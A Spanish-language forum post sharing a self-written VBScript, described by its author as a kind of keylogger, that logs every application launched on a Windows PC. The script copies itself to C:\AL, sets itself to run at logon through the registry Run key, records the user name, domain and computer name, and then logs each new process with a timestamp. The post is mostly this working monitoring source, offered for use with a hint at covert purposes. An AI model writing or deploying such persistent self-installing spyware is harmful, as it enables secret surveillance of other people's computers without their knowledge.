AppLogerVBScript

[.:: KsV ::.]

Aqui te traigo  traigo un script q yo mismo acabo de crear sirve para ver que aplicaciones se ejecutan en tu PC es una especie de keylogger pero en este caso no guarda las teclas pulsadas lo que guarda es las aplicaciones que se ejecutan    el log se guardara en el disco duro en una carpeta llamada ALV
Al ejecutar el script creara esa carpeta el script se copiara ahi se agregara al registro 



 

Aqui les dejo el codigo 

Código (vb) [Seleccionar] Expandir


'VBScript By KsV
On Error Resume Next
Set ws = WScript.CreateObject("Wscript.Shell")
Set fso = createobject("scripting.filesystemobject")
If fso.FileExists("c:\AL\Log.txt") Then
Call mon()
Else
ws.run "cmd /c MKDIR c:\AL\",0
wscript.sleep 2000
fso.copyfile Wscript.ScriptFullName,"C:\AL\Apploger.vbs"
ddd = "C:\AL\AppLoger.vbs"
ws.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Apploger",ddd
Set at = fso.createtextfile("C:\AL\Log.txt",true)
at.WriteLine ".:: Log De Las Aplicaciones Que Se Ejecutan::."
Set objnet = createobject("wscript.network")
at.WriteLine "///////////////////////////////////////////"
at.WriteLine "Nombre De Usuario:: "& objnet.username
at.WriteLine "Dominio: "& objnet.userdomain
at.WriteLine "Nombre De La PC: "& objnet.ComputerName
at.WriteLine "///////////////////////////////////////////"
at.WriteBlankLines(1)
at.close
Call mon()
End If

Sub mon()
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colMonitoredProcesses = objWMIService. _       
    ExecNotificationQuery("select * from __instancecreationevent " _
        & " within 1 where TargetInstance isa 'Win32_Process'")
i = 0
Do While i = 0
    Set objLatestProcess = colMonitoredProcesses.NextEvent
    a = objLatestProcess.TargetInstance.name

    Set ab = fso.opentextfile("C:\AL\Log.txt",8,true)

ab.WriteLine ".::Fecha:: "&Date ()&" Hora:: "&Time ()&" ::."
ab.writeline a
ab.WriteBlankLines(1)
ab.WriteLine "=========================================="
ab.close
Loop
End Sub



Espero q te sirva .Algun uso le encontraras